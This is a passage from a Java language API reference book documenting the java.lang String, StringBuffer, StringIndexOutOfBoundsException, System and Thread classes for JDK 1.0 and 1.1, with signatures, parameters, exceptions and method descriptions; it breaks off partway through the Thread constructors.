This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its uppercase equivalent if it has one according to the rules of the specified locale. If no character in the string has an uppercase equivalent, the method returns this String object.

trim

public String trim()

Returns

A new String object that represents the same character sequence as this string, but with leading and trailing whitespace and control characters removed.

Description

If the first and last character in this String object are greater than '\u0020' (the space character), the method returns this String object. Otherwise, the method returns a new String object that contains the same character sequence as this String object, but with leading and trailing characters that are less than '\u0020'' removed.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Character, Double, Float, Integer, Locale, Long, Object, StringBuffer, StringIndexOutOfBoundsException, UnsupportedEncodingException

Previous | Home | Next
StackOverflowError | Book Index | StringBuffer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] StringBuffer

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

StringBuffer

Name

StringBuffer

Synopsis

Class Name:

java.lang.StringBuffer

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The StringBuffer class represents a variable-length sequence of characters. StringBuffer objects are used in computations that involve creating new String objects. The StringBuffer class provides a number of utility methods for working with StringBuffer objects, including append() and insert() methods that add characters to a StringBuffer and methods that fetch the contents of StringBuffer objects.

When a StringBuffer object is created, the constructor determines the initial contents and capacity of the StringBuffer. The capacity of a StringBuffer is the number of characters that its internal data structure can hold. This is distinct from the length of the contents of a StringBuffer, which is the number of characters that are actually stored in the StringBuffer object. The capacity of a StringBuffer can vary. When a StringBuffer object is asked to hold more characters than its current capacity allows, the StringBuffer enlarges its internal data structure. However, it is more costly in terms of execution time and memory when a StringBuffer has to repeatedly increase its capacity than when a StringBuffer object is created with sufficient capacity.

Because the intended use of StringBuffer objects involves modifying their contents, all methods of the StringBuffer class that modify StringBuffer objects are synchronized. This means that is it safe for multiple threads to try to modify a StringBuffer object at the same time.

StringBuffer objects are used implicitly by the string concatenation operator. Consider the following code:

String s, s1, s2;
s = s1 + s2;

To compute the string concatenation, the Java compiler generates code like:

s = new StringBuffer().append(s1).append(s2).toString();

Class Summary

public class java.lang.StringBuffer extends java.lang.Object {
    // Constructors
    public StringBuffer();
    public StringBuffer(int length);
    public StringBuffer(String str);
    // Instance Methods
    public StringBuffer append(boolean b);
    public synchronized StringBuffer append(char c);
    public synchronized StringBuffer append(char[] str);
    public synchronized StringBuffer append(char[] str, int offset, int len);
    public StringBuffer append(double d);
    public StringBuffer append(float f);
    public StringBuffer append(int i);
    public StringBuffer append(long l);
    public synchronized StringBuffer append(Object obj);
    public synchronized StringBuffer append(String str);
    public int capacity();
    public synchronized char charAt(int index);
    public synchronized void ensureCapacity(int minimumCapacity);
    public synchronized void getChars(int srcBegin, int srcEnd,
                             char[] dst, int dstBegin);
    public StringBuffer insert(int offset, boolean b);
    public synchronized StringBuffer insert(int offset, char c);
    public synchronized StringBuffer insert(int offset, char[] str);
    public StringBuffer insert(int offset, double d);
    public StringBuffer insert(int offset, float f);
    public StringBuffer insert(int offset, int i);
    public StringBuffer insert(int offset, long l);
    public synchronized StringBuffer insert(int offset, Object obj);
    public synchronized StringBuffer insert(int offset, String str);
    public int length();
    public synchronized StringBuffer reverse();
    public synchronized void setCharAt(int index, char ch);
    public synchronized void setLength(int newLength);
    public String toString();
}

Constructors

StringBuffer

public StringBuffer()

Description

Creates a StringBuffer object that does not contain any characters and has a capacity of 16 characters.

public StringBuffer(int capacity)

Parameters

capacity

The initial capacity of this StringBufffer object.

Throws

NegativeArraySizeException

If capacity is negative.

Description

Creates a StringBuffer object that does not contain any characters and has the specified capacity.

public StringBuffer(String str)

Parameters

str

A String object.

Description

Creates a StringBuffer object that contains the same sequence of characters as the given String object and has a capacity 16 greater than the length of the String.

Instance Methods

append

public StringBuffer append(boolean b)

Parameters

b

A boolean value.

Returns

This StringBuffer object.

Description

This method appends either "true" or "false" to the end of the sequence of characters stored in ths StringBuffer object, depending on the value of b.

public synchronized StringBuffer append(char c)

Parameters

c

A char value.

Returns

This StringBuffer object.

Description

This method appends the given character to the end of the sequence of characters stored in this StringBuffer object.

public synchronized StringBuffer append(char str[])

Parameters

str

An array of char values.

Returns

This StringBuffer object.

Description

This method appends the characters in the given array to the end of the sequence of characters stored in this StringBuffer object.

 public synchronized StringBuffer append(char str[], int offset, int len)

Parameters

str

An array of char values.

offset

An offset into the array.

len

The number of characters from the array to be appended.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset or len are out of range.

Description

This method appends the specified portion of the given array to the end of the character sequence stored in this StringBuffer object. The portion of the array that is appended starts offset elements from the beginning of the array and is len elements long.

public StringBuffer append(double d)

Parameters

d

A double value.

Returns

This StringBuffer object.

Description

This method converts the given double value to a string using Double.toString(d) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public StringBuffer append(float f)

Parameters

f

A float value.

Returns

This StringBuffer object.

Description

This method converts the given float value to a string using Float.toString(f) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public StringBuffer append(int i)

Parameters

i

An int value.

Returns

This StringBuffer object.

Description

This method converts the given int value to a string using Integer.toString(i) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public StringBuffer append(long l)

Parameters

l

A long value.

Returns

This StringBuffer object.

Description

This method converts the given long value to a string using Long.toString(l) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public synchronized StringBuffer append(Object obj)

Parameters

obj

A reference to an object.

Returns

This StringBuffer object.

Description

This method gets the string representation of the given object by calling String.valueOf(obj) and appends the resulting string to the end of the character sequence stored in this StringBuffer object.

public synchronized StringBuffer append(String str)

Parameters

str

A String object.

Returns

This StringBuffer object.

Description

This method appends the sequence of characters represented by the given String to the characters in this StringBuffer object. If str is null, the string "null" is appended.

capacity

public int capacity()

Returns

The capacity of this StringBuffer object.

Description

This method returns the current capacity of this object. The capacity of a StringBuffer object is the number of characters that its internal data structure can hold. A StringBuffer object automatically increases its capacity when it is asked to hold more characters than its current capacity allows.

charAt

public synchronized char charAt(int index)

Parameters

index

An index into the StringBuffer.

Returns

The character stored at the specified position in this StringBuffer object.

Throws

StringIndexOutOfBoundsException

If index is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method returns the character at the specified position in the StringBuffer object. The first character in the StringBuffer is at index 0.

ensureCapacity

public synchronized void ensureCapacity(int minimumCapacity)

Parameters

minimumCapacity

The minimum desired capacity.

Description

This method ensures that the capacity of this StringBuffer object is at least the specified number of characters. If necessary, the capacity of this object is increased to the greater of minimumCapacity or double its current capacity plus two.

It is more efficient to ensure that the capacity of a StringBuffer object is sufficient to hold all of the additions that will be made to its contents, rather than let the StringBuffer increase its capacity in multiple increments.

getChars

 public synchronized void getChars(int srcBegin, int srcEnd, char dst[], int dstBegin)

Parameters

srcBegin

The index of the first character to be copied.

srcEnd

The index after the last character to be copied.

dst

The destination char array.

dstBegin

An offset into the destination array.

Throws

StringIndexOutOfBoundsException

If srcBegin, srcEnd, or dstBegin is out of range.

Description

This method copies each character in the specified range of this StringBuffer object to the given array of char values. More specifically, the first character to be copied is at index srcBegin; the last character to be copied is at index srcEnd-1.

These characters are copied into dst, starting at index dstBegin and ending at index:

dstBegin + (srcEnd-srcBegin) - 1

insert

public StringBuffer insert(int offset, boolean b)

Parameters

offset

An offset into the StringBuffer.

b

A boolean value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is out of range.

Description

This method inserts either "true" or "false" into the sequence of characters stored in this StringBuffer object, depending on the value of b. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, char c)

Parameters

offset

An offset into the StringBuffer.

c

A char value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method inserts the given character into the sequence of characters stored in this StringBuffer object. The character is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the character is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, char str[])

Parameters

offset

An offset into the StringBuffer.

str

An array of char values.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method inserts the characters in the given array into the sequence of characters stored in this StringBuffer object. The characters are inserted at a position offset characters from the beginning of the sequence. If offset is 0, the characters are inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, double d)

Parameters

offset

An offset into the StringBuffer.

d

A double value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given double value to a string using Double.toString(d) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, float f)

Parameters

offset

An offset into the StringBuffer.

f

A float value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given float value to a string using Float.toString(f) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, int i)

Parameters

offset

An offset into the StringBuffer.

i

An int value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given int value to a string using Integer.toString(i) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, long l)

Parameters

offset

An offset into the StringBuffer.

l

A long value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given long value to a string using Long.toString(l) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, Object obj)

Parameters

offset

An offset into the StringBuffer.

obj

A reference to an object.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method gets the string representation of the given object by calling String.valueOf(obj) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, String str)

Parameters

offset

An offset into the StringBuffer.

str

A String object.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method inserts the sequence of characters represented by the given String into the sequence of characters stored in this StringBuffer object. If str is null, the string "null" is inserted. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

length

public int length()

Returns

The number of characters stored in this StringBuffer object.

Description

This method returns the number of characters stored in this StringBuffer object. The length is distinct from the capacity of a StringBuffer, which is the number of characters that its internal data structure can hold.

reverse

public synchronized StringBuffer reverse()

Returns

This StringBuffer object.

Description

This method reverses the sequence of characters stored in this StringBuffer object.

setCharAt

public synchronized void setCharAt(int index, char ch)

Parameters

index

The index of the character to be set.

ch

A char value.

Throws

StringIndexOutOfBoundsException

If index is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method modifies the character located index characters from the beginning of the sequence of characters stored in this StringBuffer object. The current character at this position is replaced by the character ch.

setLength

public synchronized void setLength(int newLength)

Parameters

newLength

The new length for this StringBuffer.

Throws

StringIndexOutOfBoundsException

If index is less than zero.

Description

This method sets the length of the sequence of characters stored in this StringBuffer object. If the length is set to be less than the current length, characters are lost from the end of the character sequence. If the length is set to be more than the current length, NUL characters (\u0000) are added to the end of the character sequence.

toString

public String toString()

Returns

A new String object that represents the same sequence of characters as the sequence of characters stored in this StringBuffer object.

Overrides

Object.toString()

Description

This method returns a new String object that represents the same sequence of characters as the sequence of characters stored in this StringBuffer object. Note that any subsequent changes to the contents of this StringBuffer object do not affect the contents of the String object created by this method.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Double, Float, Integer, Long, Object, String, StringIndexOutOfBoundsException

Previous | Home | Next
String | Book Index | StringIndexOutOfBoundsException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] StringIndexOutOfBoundsException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

StringIndexOutOfBoundsException

Name

StringIndexOutOfBoundsException

Synopsis

Class Name:

java.lang.StringIndexOutOfBoundsException

Superclass:

java.lang.IndexOutOfBoundsException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A StringIndexOutOfBoundsException is thrown when a String or StringBuffer object detects an out-of-range index. An out-of-range index occurs when the index is less than zero, or greater than or equal to the length of the string.

Class Summary

public class java.lang.StringIndexOutOfBoundsException
             extends java.lang.IndexOutOfBoundsException {
  // Constructors
  public StringIndexOutOfBoundsException();
  public StringIndexOutOfBoundsException(int index);
  public StringIndexOutOfBoundsException(String s);
}

Constructors

StringIndexOutOfBoundsException

public StringIndexOutOfBoundsException()

Description

This constructor creates a StringIndexOutOfBoundsException with no associated detail message.

public StringIndexOutOfBoundsException(int index)

Parameters

index

The index value that was out of bounds

Description

This constructor creates an StringIndexOutOfBoundsException with an associated message that mentions the specified index.

public StringIndexOutOfBoundsException(String s)

Parameters

s

The detail message.

Description

This constructor creates a StringIndexOutOfBoundsException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IndexOutOfBoundsException, RuntimeException, Throwable

Previous | Home | Next
StringBuffer | Book Index | System
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] System

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

System

Name

System

Synopsis

Class Name:

java.lang.System

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The System class provides access to various information about the operating system environment in which a program is running. For example, the System class defines variables that allow access to the standard I/O streams and methods that allow a program to run the garbage collector and stop the Java virtual machine.

All of the variables and methods in the System class are static. In other words, it is not necessary to create an instance of the System class in order to use its variables and methods. In fact, the System class does not define any public constructors, so it cannot be instantiated.

The System class supports the concept of system properties that can be queried and set. The following properties are guaranteed always to be defined:

Property Name | Description
file.encoding | The character encoding for the default locale (Java 1.1 only)
file.encoding.pkg | The package that contains converters between local encodings and Unicode (Java 1.1 only)
file.separator | File separator ('/' on UNIX, ' \' on Windows)
java.class.path | The class path
java.class.version | Java class version number
java.compiler | The just-in-time compiler to use, if any (Java 1.1 only)
java.home | Java installation directory
java.vendor | Java vendor-specific string
java.vendor.url | Java vendor URL
java.version | Java version number
line.separator | Line separator(' \n' on UNIX, ' \r\n' on Windows)
os.arch | Operating system architecture
os.name | Operating system name
os.version | Operating system version
path.separator | Path separator (':' on UNIX, ',' on Windows)
user.dir | User's current working directory when the properties were initialized
user.home | User's home directory
user.language | The two-letter language code of the default locale (Java 1.1 only)
user.name | User's account name
user.region | The two-letter country code of the default locale (Java 1.1 only)
user.timezone | The default time zone (Java 1.1 only)

Additional properties may be defined by the run-time environment. The -D command-line option can be used to define system properties when a program is run.

The Runtime class is related to the System class; it provides access to information about the environment in which a program is running.

Class Summary

public final class java.lang.System extends java.lang.Object {
    // Constants
    public static final PrintStream err;
    public static final InputStream in;
    public static final PrintStream out;
    // Class Methods
    public static void arraycopy(Object src, int srcOffset,
                                 Object dst, int dstOffset, int length);
    public static long currentTimeMillis();
    public static void exit(int status);
    public static void gc();
    public static Properties getProperties();
    public static String getProperty(String key);
    public static String getProperty(String key, String default);
    public static SecurityManager getSecurityManager();
    public static String getenv(String name);           // Deprecated in 1.1
    public static native int identityHashCode(Object x);   // New in 1.1
    public static void load(String filename);
    public static void loadLibrary(String libname);
    public static void runFinalization();
    public static void runFinalizersOnExit(boolean value); // New in 1.1
    public static void setErr(PrintStream err);            // New in 1.1
    public static void setIn(InputStream in);              // New in 1.1
    public static void setOut(PrintStream out);            // New in 1.1
    public static void setProperties(Properties props);
    public static void setSecurityManager(SecurityManager s);
}

Variables

err

public static final PrintStream err

Description

The standard error stream. In an application environment, this variable refers to a java.io.PrintStream object that is associated with the standard error output for the process running the Java virtual machine. In an applet environment, the PrintStream is likely to be associated with a separate window, although this is not guaranteed.

The value of err can be set using the setErr() method. The value of err can only be set if the currenly installed SecurityManager does not throw a SecurityException when the request is made.

Prior to to Java 1.1, err was not final. It has been made final as of Java 1.1 because the unchecked ability to set err is a security hole.

in

public static final InputStream in

Description

The standard input stream. In an application environment, this variable refers to a java.io.InputStream object that is associated with the standard input for the process running the Java virtual machine.

The value of in can be set using the setIn() method. The value of in can only be set if the currenly installed SecurityManager does not throw a SecurityException when the request is made.

Prior to to Java 1.1, in was not final. It has been made final as of Java 1.1 because the unchecked ability to set in is a security hole.

out

public static final PrintStream out

Description

The standard output stream. In an application environment, this variable refers to a java.io.PrintStream object that is associated with the standard output for the process running the Java virtual machine. In an applet environment, the PrintStream is likely to be associated with a separate window, although this is not guaranteed.

out is the most commonly used of the three I/O streams provided by the System class. Even in GUI-based applications, sending output to this stream can be useful for debugging. The usual idiom for sending output to this stream is:

System.out.println("Some text");

The value of out can be set using the setOut() method. The value of out can only be set if the currenly installed SecurityManager does not throw a SecurityException when the request is made.

Prior to to Java 1.1, out was not final. It has been made final as of Java 1.1 because the unchecked ability to set out is a security hole.

Class Methods

arraycopy

 public static void arraycopy(Object src, int src_position, Object dst, int dst_position, int length)

Parameters

src

The source array.

src_position

An index into the source array.

dst

The destination array.

dst_position

An index into the destination array.

length

The number of elements to be copied.

Throws

ArrayIndexOutOfBoundsException

If the values of the src_position, dst_position, and length arguments imply accessing either array with an index that is less than zero or an index greater than or equal to the number of elements in the array.

ArrayStoreException

If the type of value stored in the src array cannot be stored in the dst array.

NullPointerException

If src or dst is null.

Description

This method copies a range of array elements from the src array to the dst array. The number of elements that are copied is specified by length. The elements at positions src_position through src_position+length-1 in src are copied to the positions dst_position through dst_position+length-1 in dst, respectively.

If src and dst refer to the same array, the copying is done as if the array elements were first copied to a temporary array and then copied to the destination array.

Before this method does any copying, it performs a number of checks. If either src or dst are null, the method throws a NullPointerException and dst is not modified.

If any of the following conditions are true, the method throws an ArrayStoreException, and dst is not modified:

  • Either src or dst refers to an object that is not an array.

  • src and dst refer to arrays whose element types are different primitive types.

  • src refers to an array that has elements that contain a primitive type, while dst refers to an array that has elements that contain a reference type, or vice versa.

If any of the following conditions are true, the method throws an ArrayIndexOutOfBoundsException, and dst is not modified:

  • srcOffset, dstOffset, or length is negative.

  • srcOffset+length is greater than src.length().

  • dstOffset+length is greater than dst.length().

Otherwise, if an element in the source array being copied cannot be converted to the type of the destination array using the rules of the assignment operator, the method throws an ArrayStoreException when the problem occurs. Since the problem is discovered during the copy operation, the state of the dst array reflects the incomplete copy operation.

currentTimeMillis

public static native long currentTimeMillis()

Returns

The current time as the number of milliseconds since 00:00:00 UTC, January 1, 1970.

Description

This method returns the current time as the number of milliseconds since 00:00:00 UTC, January 1, 1970. It will not overflow until the year 292280995.

The java.util.Date class provides more extensive facilities for dealing with times and dates.

exit

public static void exit(int status)

Parameters

status

The exit status code to use.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method causes the Java virtual machine to exit with the given status code. This method works by calling the exit() method of the current Runtime object. By convention, a nonzero status code indicates abnormal termination. This method never returns.

gc

public static void gc()

Description

This method causes the Java virtual machine to run the garbage collector in the current thread. This method works by calling the gc() method of the current Runtime object.

The garbage collector finds objects that will never be used again because there are no live references to them. After it finds these objects, the garbage collector frees the storage occupied by these objects.

The garbage collector is normally run continuously in a thread with the lowest possible priority, so that it works intermittently to reclaim storage. The gc() method allows a program to invoke the garbage collector explicitly when necessary.

getProperties

public static Properties getProperties()

Returns

A Properties object that contains the values of all the system properies.

Throws

SecurityException

If the checkPropertiesAccess() method of the SecurityManager throws a SecurityException.

Description

This method returns all of the defined system properties encapsulated in a java.util.Properties object. If there are no system properties currently defined, a set of default system properties is created and initialized. As discussed in the description of the System class, some system properties are guaranteed always to be defined.

getProperty

public static String getProperty(String key)

Parameters

key

The name of a system property.

Returns

The value of the named system property or null if the named property is not defined.

Throws

SecurityException

If the checkPropertyAccess() method of the SecurityManager throws a SecurityException.

Description

This method returns the value of the named system property. If there is no definition for the named property, the method returns null. If there are no system properties currently defined, a set of default system properties is created and initialized. As discussed in the description of the System class, some system properties are guaranteed always to be defined.

public static String getProperty(String key, String def)

Parameters

key

The name of a system property.

def

A default value for the property.

Returns

The value of the named system property, or the default value if the named property is not defined.

Throws

SecurityException

If the checkPropertyAccess() method of the SecurityManager throws a SecurityException.

Description

This method returns the value of the named system property. If there is no definition for the named property, the method returns the default value as specified by the def parameter. If there are no system properties currently defined, a set of default system properties is created and initialized. As discussed earlier in the description of the System class, some system properties are guaranteed to always be defined.

getSecurityManager

public static SecurityManager getSecurityManager()

Returns

A reference to the installed SecurityManager object or null if there is no SecurityManager object installed.

Description

This method returns a reference to the installed SecurityManager object. If there is no SecurityManager object installed, the method returns null.

getenv

public static String getenv(String name)

Availability

Deprecated as of JDK 1.1

Parameters

name

The name of a system-dependent environment variable.

Returns

The value of the environment variable or null if the variable is not defined.

Description

This method is obsolete; it always throws an error. Use getProperties() and the -D option instead.

identityHashCode

public static native int identityHashCode(Object x)

Availability

New as of JDK 1.1

Parameters

x

An object.

Returns

The identity hashcode value for the specified object.

Description

This method returns the same hashcode value for the specified object as would be returned by the default hashCode() method of Object, regardless of whether or not the object's class overrides hashCode().

load

public void load(String filename)

Parameters

filename

A string that specifies the complete path of the file to be loaded.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library. This method works by calling the load() method of the current Runtime object.

loadLibrary

public void loadLibrary(String libname)

Parameters

libname

A string that specifies the name of a dynamically linked library.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library. It looks for the specified library in a platform-specific way. This method works by calling the loadLibrary() method of the current Runtime object.

runFinalization

public static void runFinalization()

Description

This method causes the Java virtual machine to run the finalize() methods of any objects in the finalization queue in the current thread. This method works by calling the runFinalization() method of the current Runtime object.

When the garbage collector discovers that there are no references to an object, it checks to see if the object has a finalize() method that has never been called. If the object has such a finalize() method, the object is placed in the finalization queue. While there is a reference to the object in the finalization queue, the object is no longer considered garbage collectable.

Normally, the objects in the finalization queue are handled by a separate finalization thread that runs continuously at a very low priority. The finalization thread removes an object from the queue and calls its finalize() method. As long as the finalize() method does not generate a reference to the object, the object again becomes available for garbage collection.

Because the finalization thread runs at a very low priority, there may be a long delay from the time that an object is put on the finalization queue until the time that its finalize() method is called. The runFinalization() method allows a program to run the finalize() methods explicitly. This can be useful when there is a shortage of some resource that is released by a finalize() method.

runFinalizersOnExit

public static void runFinalizersOnExit(boolean value)

Availability

New as of JDK 1.1

Parameters

value

A boolean value that specifies whether or not finalization occurs on exit.

Throws

SecurityException

If the checkExit() method of the SecurityManager throws a SecurityException.

Description

This method specifies whether or not the finalize() methods of all objects that have finalize() methods are run before the Java virtual machine exits. By default, the finalizers are not run on exit. This method works by calling the runFinalizersOnExit() method of the current Runtime object.

setErr

public static void setErr(PrintStream err)

Availability

New as of JDK 1.1

Parameters

err

A PrintStream object to use for the standard error stream.

Throws

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method sets the standard error stream to be this PrintStream object.

setIn

public static void setIn(InputStream in)

Availability

New as of JDK 1.1

Parameters

in

A InputStream object to use for the standard input stream.

Throws

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method sets the standard input stream to be this InputStream object.

setOut

public static void setOut(PrintStream out)

Availability

New as of JDK 1.1

Parameters

out

A PrintStream object to use for the standard output stream.

Throws

SecurityException

If the checkExec() method of the SecurityManager throws a SecurityException.

Description

This method sets the standard output stream to be this PrintStream object.

setProperties

public static void setProperties(Properties props)

Parameters

props

A reference to a Properties object.

Throws

SecurityException

If the checkPropertiesAccess() method of the SecurityManager throws a SecurityException.

Description

This method replaces the current set of system property definitions with a new set of system property definitions that are encapsulated by the given Properties object. As discussed in the description of the System class, some system properties are guaranteed to always be defined.

setSecurityManager

public static void setSecurityManager(SecurityManager s)

Parameters

s

A reference to a SecurityManager object.

Throws

SecurityException

If a SecurityManager object has already been installed.

Description

This method installs the given SecurityManager object. If s is null, then no SecurityManager object is installed. Once a SecurityManager object is installed, any subsequent calls to this method throw a SecurityException.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ArrayIndexOutOfBoundsException, ArrayStoreException, InputStream, NullPointerException, Object, PrintStream, Process, Runtime, SecurityException, SecurityManager, UnsatisfiedLinkError

Previous | Home | Next
StringIndexOutOfBoundsException | Book Index | Thread
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Thread

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Thread

Name

Thread

Synopsis

Class Name:

java.lang.Thread

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Runnable

Availability:

JDK 1.0 or later

Description

The Thread class encapsulates all of the information about a single thread of control running in a Java environment. Thread objects are used to control threads in a multithreaded program.

The execution of Java code is always under the control of a Thread object. The Thread class provides a static method called currentThread() that can be used to get a reference to the Thread object that controls the current thread of execution.

In order for a Thread object to be useful, it must be associated with a method that it is supposed to run. Java provides two ways of associating a Thread object with a method:

  • Declare a subclass of Thread that defines a run() method. When such a class is instantiated and the object's start() method is called, the thread invokes this run() method.

  • Pass a reference to an object that implements the Runnable interface to a Thread constructor. When the start() method of such a Thread object is called, the thread invokes the run() method of the Runnable object.

After a thread is started, it dies when one of the following things happens:

  • The run() method called by the Thread returns.

  • An exception is thrown that causes the run() method to be exited.

  • The stop() method of the Thread is called.

Class Summary

public class java.lang.Thread extends java.lang.Object
                              implements java.lang.Runnable {
    // Constants
    public final static int MAX_PRIORITY;
    public final static int MIN_PRIORITY;
    public final static int NORM_PRIORITY;
    // Constructors
    public Thread();
    public Thread(Runnable target);
    public Thread(Runnable target, String name);
    public Thread(String name);
    public Thread(ThreadGroup group, Runnable target);
    public Thread(ThreadGroup group, Runnable target, String name);
    public Thread(ThreadGroup group, String name);
    // Class Methods
    public static int activeCount();
    public static native Thread currentThread();
    public static void dumpStack();
    public static int enumerate(Thread tarray[]);
    public static boolean interrupted();
    public static native void sleep(long millis);
    public static void sleep(long millis, int nanos);
    public static native void yield();
    // Instance Methods
    public void checkAccess();
    public native int countStackFrames();
    public void destroy();
    public final String getName();
    public final int getPriority();
    public final ThreadGroup getThreadGroup();
    public void interrupt();
    public final native boolean isAlive();
    public final boolean isDaemon();
    public boolean isInterrupted();
    public final void join();
    public final synchronized void join(long millis);
    public final synchronized void join(long millis, int nanos);
    public final void resume();
    public void run();
    public final void setDaemon(boolean on);
    public final void setName(String name);
    public final void setPriority(int newPriority);
    public synchronized native void start();
    public final void stop();
    public final synchronized void stop(Throwable o);
    public final void suspend();
    public String toString();
}

Constants

MAX_PRIORITY

public final static int MAX_PRIORITY = 10

Description

The highest priority a thread can have.

MIN_PRIORITY

public final static int MIN_PRIORITY = 1

Description

The lowest priority a thread can have.

NORM_PRIORITY

public final static int NORM_PRIORITY = 5

Description

The default priority assigned to a thread.

Constructors

Thread

public Thread()

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the same ThreadGroup object as the current thread, has the same daemon attribute as the current thread, has the same priority as the current thread, and has a default name.

A Thread object created with this constructor invokes its own run() method when the Thread object's start() method is called. This is not useful unless the object belongs to a subclass of the Thread class that overrides the run() method.

Calling this constructor is equivalent to:

Thread(null, null, genName)

genName is an automatically generated name of the form "Thread-"+n, where n is an integer incremented each time a Thread object is created.

public Thread(String name)

Parameters

name

The name of this Thread object.

Throws

SecurityException

If the checkAccess() method of the SecurityManager throws a SecurityException.

Description

Creates a Thread object that belongs to the same ThreadGroup object as the current thread, has the same daemon attribute as the current thread, has the same priority as the current thread, and has the specified name.

A Thread object created with this constructor invokes its own run() method when the Thread object's start() method is called. This is not useful unless the object belongs to a subclass of the Thread class that overrides the run() method.

Calling this constructor is equivalent to:

Thread(null, null, name)

The uniqueness of the specified Thread object's name is not checked, which may be a problem for programs that attempt to identify Thread objects by their name.

public Thread(ThreadGroup group, Runnable target)

Parameters

group

